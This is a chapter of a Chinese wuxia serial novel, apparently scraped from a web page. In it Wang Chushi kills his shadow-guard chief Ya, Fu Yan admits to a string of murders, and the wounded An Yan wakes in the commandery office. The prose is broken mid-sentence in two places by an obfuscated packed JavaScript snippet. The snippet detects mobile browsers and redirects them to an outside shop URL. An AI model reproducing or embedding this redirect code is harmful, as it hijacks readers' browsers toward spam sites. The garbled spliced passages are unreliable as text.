“属下,有一个提议。”鸦仍半跪着,低声道,“您不妨,借口外出,先去别院小住一段时日。等暗部与线部查明芸娘身份,这件事情亦平息下来,再回麒麟阁。” 炎章郡城郊,汪褚时购置了一处私宅,这件事,只有他、墨白与鸦知晓。 汪褚时的声线渐渐浸了冰:“好。”又道,“着人,叫墨回来。” “是。”鸦颔首道,“您想何时动身?” 汪褚时凝声道:“今夜。” 鸦不由得微微一怔,酉时二刻,天色沉暗,距离入夜已不足三个时辰。兵部总管才刚殒命,阁主竟不多留一日,安排阁中事务?但他最后并未多说,仍恭敬地低下头:“是,阁主。” ———————————— 子时一刻,侧门悄然开启,一辆马车驶出了麒麟阁。 车内只有汪褚时一人,鸦坐在车前驾驶。汪褚时已经不敢再信任何人,他未叫影卫跟随,也未将自己去私宅的事情告诉其他人。银月清晖静悄悄地铺洒在原野,马车驶出一里,麒麟阁已全然消隐在黑夜中了,汪褚时终于放下车帘,长长呼了口气。 冬野静谧,月光下只有一马一车,不再有第三个人。 鸦注意到车内动静,开口安慰道:“阁主安心,夜深更静,四周早已无人,属下也一直在您身侧。” “嗯。”汪褚时应了一声,眉心却未舒展。 “属下已遣人传信墨总管,芸娘家世,属下也已遣人去查。再过几日,就有消息传回。” “嗯。”汪褚时仍只应了一声。 “不过……”鸦顿了顿,“属下听说,前些日子,有一个年轻男子去青柳苑找过芸娘,此后两日,芸娘似有些心事重重,甚至告假休息了。” “哦?”汪褚时终于抬起眼,“一个年轻男子,可有查到是谁?” “尚未,但听描述,似乎,不像是江湖人。” 汪褚时又想到了伏焱。伏焱虽武功卓绝,平日装束,却是温文尔雅的公子模样——不似一个江湖人。 去找芸娘的年轻男子,会是伏焱吗?他是不是果真与姜城乌之死,有所关联? 却听鸦又续道:“此人身份,我也已遣暗卫调查。请您放心,一路旷野,不利于掩藏身形,私宅附近,也已有两名暗卫前去探查,以防万一。” 汪褚时瞳孔一缩,突然道:“停车!” 鸦一惊,忙拉紧缰绳,回身询问道:“阁主,有何处不妥?” 汪褚时深深地凝视着他的脸,眸子里落进了无边无垠的暗夜:“你说,你遣两名暗卫,去了私宅?” 鸦听出汪褚时话中之意,忙从车上跃下,半跪于地:“那二人均为可靠之人,绝不会走漏消息。” 汪褚时话音凝冰:“你如何保证?” “属下……”鸦顿了顿,“那二人,自小生长于麒麟阁,得阁主恩惠,更由属下亲手提拔,其忠心不二,绝不会,做出背叛之举。” 月光下,鸦的身影安静而削瘦,像一把漆黑的刀。鸦自小就在麒麟阁了,大约与墨同岁。他将墨送去夜老板处历练,却始终将鸦带在身边,上一任鸦故去之后,就让他接任了暗部总管之位。 鸦原本的名字,他已经记不清了。 鸦本应是他最信任的人,与墨不同。他将墨视作义子,儿子对父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373494|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,总有叛逆的时刻,但鸦,是他的影子,是他休戚与共,无法摘除的一部分。 然而行至今日,墨始终恭谨懂事,一日也不像他的孩子,日夜在他身边的鸦,他也忽然看不透了。 最终,他冷清地开了口:“掉头,回麒麟阁。” 鸦显然有些意外:“阁主,属下斗胆,私宅已经不远,您……” 汪褚时冷声打断道:“回麒麟阁。” 他似乎在走向一个陷阱。 如果他是伏焱,他会在麒麟阁内选择谁来合作?为什么鸦要说,无人敢与麒麟阁为敌?为什么他会建议自己去私宅小住?为什么他今夜,要说那么多?是在安慰他,或只是,分散他的注意,好令他无暇去细想这其中的不寻常? 鸦应了声是,起身坐回马车上。月朗星稀,四野寂静,鸦执起马鞭,另一手却突然向腰侧摸去! 电光火石之间,车厢内银光一闪,一把长刀径直贯穿了鸦的心脏! “阁……”鸦不可置信地半转过头,才说了一个字,长刀骤然抽离,鲜血如线,直溅车庐。喉咙被血沫堵住,鸦终究没能,说出最后的句子。 鸦的身子倒伏在横木上,汪褚时握紧刀柄,大口喘息着,指尖仍不受控制地剧烈发抖。 遥远处响起一声乌啼,更衬得漫漫长夜,幽谧如冥。 他重新坐下,手中银刀掉落在地。 鲜血沿横木滴落,马似乎有所不耐,跺了跺蹄子。方才那一瞬,他什么都没有想,更多是凭着本能而出了刀。鸦却没有避开。直到此时,空气重回身体,他盯着那片瘦削的身躯,眼底仿佛悄无声息地裂开了一道荒芜的缝隙。 鸦,究竟想在腰间拿什么。他究竟是不是,背叛了他。 可是他终究已经出了刀,他无法再得到答案了。鸦已经彻底死去,天与地之间,只剩下他一个人。 又过了片刻,呼吸平顺下来,汪褚时终于跨过鸦的尸体,走下马车。 私宅就在不远了。透过月光,依稀可见那灰墙灰瓦的影子。 回麒麟阁吗? 汪褚时望着夜幕尽头的朦胧,终于抬脚,向前走去。 ———————————— 私宅里,一片漆黑。 安静得没有一星声息,本该在院外迎接他,鸦派去的两名暗卫,也没有出现。整座宅院沉默寂静犹如冥府,仿佛能吞噬一切声音和光线。 汪褚时踏入院内,握住了刀柄。 一进进向里走,没有遇见任何人,院子里弥漫着诡异的幽静,好像每一次呼吸都被人攫取了空气,而令人窒息。手中渗出冷汗,在掌心里结了冰,汪褚时屏气敛声地绕过最后一道月门,终于停下了脚步。 最后一进院,庭院正中,端端正正地躺着两具尸体——麒麟阁暗卫的尸体。 惨白的月光淌落,两名暗卫颈间的腥红触目惊心。汪褚时在月门边向正房望去,漆黑之中,一个如月的身影缓慢地走出,笑意清雅,玉树临风。 “汪阁主,别来无恙?” 64. 可惜了上等的青玉 伏焱与墨白,是同父同母的双生子。 二人容貌相似,细看却有所不同,墨白更像父亲,伏焱的颌骨则更加柔和,像母亲多一些。 汪褚时看着他缓步走下台阶,他的影子仿佛与心底的影子重合,使他的心跳突兀缭乱了一拍。 可是他与他的母亲,终究是截然不同的人。 “伏焱。”汪褚时望着他,“他们,是你杀的?” 伏焱清幽地笑着:“汪阁主问的他们,都有谁呢?” 明明一句反问,却回答了所有疑惑。面前两个暗部弟子,还有姜城乌与芸娘,竟真的都是伏焱所杀。 心底的裂痕仿佛渗出咸涩的水,沁得伤口隐隐作痛。他不明白,“为什么?”他明明是想补偿,他明明无所保留,他明明已经,要给他江湖至尊的宝座了。 伏焱笑了笑,走向院中石桌:“不是要我和弟弟,来做武林盟主吗?那其他人,自然是多余的。”他很有耐心地解释道,“我觉得姜总管碍事,所以就杀了。我替芸娘报了家仇,她对我只有感激,官府那边也能交代,可谓是,一举多得。” “伏焱,”汪褚时咬着牙,指节握紧刀柄,直泛出青白色,“如今时机尚不成熟,你要坐上武林盟主之位,还需借助麒麟阁和兵部的力量。” “我不需要。”伏焱轻笑一声,在石桌旁坐下。桌上摆着青玉壶盏,他斟了两杯,转目向汪褚时望来,“汪阁主,你无法打赢我,也不想杀死我,何必握着刀呢?难得我特意备了好酒,今夜月色晴朗,不如与我共饮一杯,如何?” 汪褚时默然半晌,终于松开手,走向石桌。 他没有坐下,伏焱也不勉强,抬手递上酒盏。汪褚时沉默地接过,伏焱轻轻一笑:“汪阁主,请?” 他说罢,执盏一饮而尽,汪褚时的视线始终落在伏焱脸上,也缓缓喝下了这盏酒。 美酒清凉,滑入咽腹,伏焱端详着杯底残酒,目光好似浮起某种怀念:“这酒的名字,不知汪阁主是否知晓?当年明思院中,我也曾尝过此酒,真是一模一样的味道,混着血,沾染上腥气,更是别致的美味。” “你,你说什么?”汪褚时心底却突然一慌,下意识地后退了一步。玉盏碎落在地,发出清脆的声响,残酒在碎玉上映着惨亮的光,他忽然好像,被攫取了呼吸。 “汪阁主安心,酒中无毒。”伏焱的声音透入耳骨,他这才稍得清明,然而伏焱接下来的话,又令他再一次如坠冰渊,“现在,还不到你该死的时候,只可惜了上等的青玉,少说也值几两黄金呢。” “伏焱!”惊惧之余,怒火冲上心头。汪褚时再上前一步,牢牢地望进他眼中,“大事未成,墨亦在我掌控之中,相信你也明白,与麒麟阁为敌,绝非明智之举!我劝你不要再肆意妄为,你也不想与墨兵刃相见,更不会想见到墨死去吧?” 伏焱静了一静。 他缓缓起身,月色中更如一方冰凉的玉,他回望着汪褚时,那眼底却漆黑深邃,不染一分光暖:“汪阁主,你不了解我,也不了解我弟弟。”忽又轻笑一声,“不过,我很期待,接下来,你会如何做。” 说完,他不再看汪褚时,折身离开了院落。 汪褚时竟说不出一句话,他无法留住伏焱,只能看着他消失在了黑夜里。 接下来,他该如何做?他竟一时茫然了。姜城乌不在了,鸦……也不在了。他该如何做?墨……还会回来吗? ———————————— 第二日傍晚,安晏终于从昏睡中醒来。 梦中仍残留着积冰的冷和鲜血的热,谢新柳稚气未消却恨之切骨的眼睛似仍死死地盯着她——她从梦中惊醒,一个翻身坐起,小腹刀伤未愈的刺痛令她狠狠地吸了一口气。 四下环视,她竟在一间整齐明亮的屋子里,暖炉搁在窗边,隔绝了冬月的寒气。 这是什么地方?她被谢新柳刺伤后,发生了什么? 安晏扶着床边,想下床一探究竟,才穿上鞋子,就见一人推门走入,见她起身,忙急急将她按坐回床上:“安姑娘,你伤还没好,可千万不能起来。” “袁姐姐?”安晏微愕,“是……是你救了我?” “是墨公子。”袁清明眼疾手快地除去了安晏的鞋子,“墨公子将你送来,就离开办事去了。他特意叮嘱了,你需要好好养伤,醒后五日间都不能下床走动。所以,你就在床上待着,需要什么,就和我说,我帮你做。” 安晏怔了怔。 墨白? 原来,那时身后的骤风,竟然是墨白。 可她心绪却一时杂乱,竟不知该回应什么。袁清明不知道麒麟阁的事,她不知道墨白只是为了利用她才接近她,也不知道她与他,已经决裂而后分道扬镳了。 可为什么——墨白却又去了千秋院,救下了她? “你现在感觉如何?伤口很痛吗?”袁清明的声线传入耳中,拉回她的思绪,“墨公子说已请大夫看过,但我还是,再找大夫来看一看吧?——不对,你就是大夫,那还需要我再请大夫吗?或者你直接写药方,我去药铺抓药?你好几日没吃东西了,要不我先请后厨做一碗粥?你还想吃什么吗?” 后厨?安晏愈发疑惑:“这里,是什么地方?” “这里是苍源郡郡府,你还不知道吧,前些日子,伏焱来了郡府,将郡守和郡丞都杀了。因此,这郡府现在由顾将军和马长史暂管——对了,顾将军也在。” 这句话一下子出现了太多信息,安晏顿了顿,才消化掉其中的含义。 她微垂下眼睫:“顾将军已经见过伏焱了,是吗?” “嗯,对,伏焱也险些杀了我们,但那时,有另外两个人出现在郡府,武功一看就十分厉害,伏焱见到她们,就收刀走了,那两人也没有停留,随后走了。其中一个,伏焱称她‘许楼主’,你听说过这个人吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383178|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 袁清明话音未落,安晏已猛地攥紧了拳头。 她抬起头,勉力克制着话音的颤抖:“你方才说,两个人,另一人,是着白衣吗?” 袁清明蹙起眉,似乎不明白安晏为何突然有些激动,随后她摇了摇头:“不是,另一人穿着黑衣,但似乎,右臂是空的……” 安晏默了默,一瞬间泪水已蓄满眼眶。 许姨姨和唐姨姨都平安无恙,师父一定也平安无恙。 袁清明疑惑地望着安晏,正欲开口相询,忽听安晏问道:“既然我在郡府养伤,顾将军终于愿意相信我了吗?” “安姑娘,我还有许多事情,需要同你确认。”门边,却传来了顾鸿云的声音。 他拄着木拐,慢慢挪进屋子,在床对面的椅子上坐下。然而还未开口,袁清明已不满地打断道:“安姑娘重伤才醒,你有什么事情,不能明天再问?墨公子将安姑娘托付给你我,是想让她安心养伤,可不是受你盘问!再说,你都见过伏焱了,更见过他是怎样的人,还有什么不能相信安姑娘的?” 顾鸿云没有说话,安晏却忍不住笑了出来。 “没关系,你都说了,我也是大夫,我的伤不要紧。”掠了顾鸿云一眼,又对袁清明笑笑,“那就劳袁姐姐,去后厨帮我要碗粥?若有肉,可切成小片,放在粥里一并煮熟。我先回答顾将军几个问题,以免顾将军心事重重,也不利于腿伤康复不是?” 顾鸿云依旧没有开口,袁清明看看这个,又看看那个,终于撇撇嘴:“行,那我先过去了。反正顾将军腿伤还没痊愈,我看他依然打不赢你。” 她将采萧剑放在安晏手边,这才离开了屋子。 安晏将视线转向顾鸿云:“顾将军想问什么?” 顾鸿云看着安晏,默然半晌,却是问:“安姑娘,你的伤真的无碍吗?” 安晏十分意外地一怔,随即将三指搭上腕脉。屋子安静下来,辰光落入窗扉,空气里飘悬着细小的浮尘。片刻,她轻笑着摇了摇头:“无碍,虽要再休养几日,内力方可恢复如初,但顾将军若想乘人之危,恐怕也难以如愿。” “安姑娘误会了,我并无此意。”顾鸿云道,顿了顿,“那夜,我见过伏焱,他杀死了邢郡守、李郡丞,并郡府七十八名士卒。他确然,是一个不折不扣的恶魔。” 安晏深深呼吸了一口,即使心下有所准备,这个数字仍令她指尖微微一抖。 “顾将军腿伤,亦是伏焱所致吗?” “不是。”顾鸿云道,“邢郡守与李郡丞勾结江湖门派,私相授受,被我查明后,欲杀我灭口,再诬陷我通敌卖国。我与袁姑娘不肯束手就擒,因而被官兵所伤。” 顾鸿云的声线依旧缓慢而沉肃,好似只在讲述一个平淡的故事。安晏不由得一怔,却听他停顿稍许,微微躬身道,“安姑娘,此前构陷罪名,通缉你与墨公子,是我行事不当。在此,向你道一声歉。”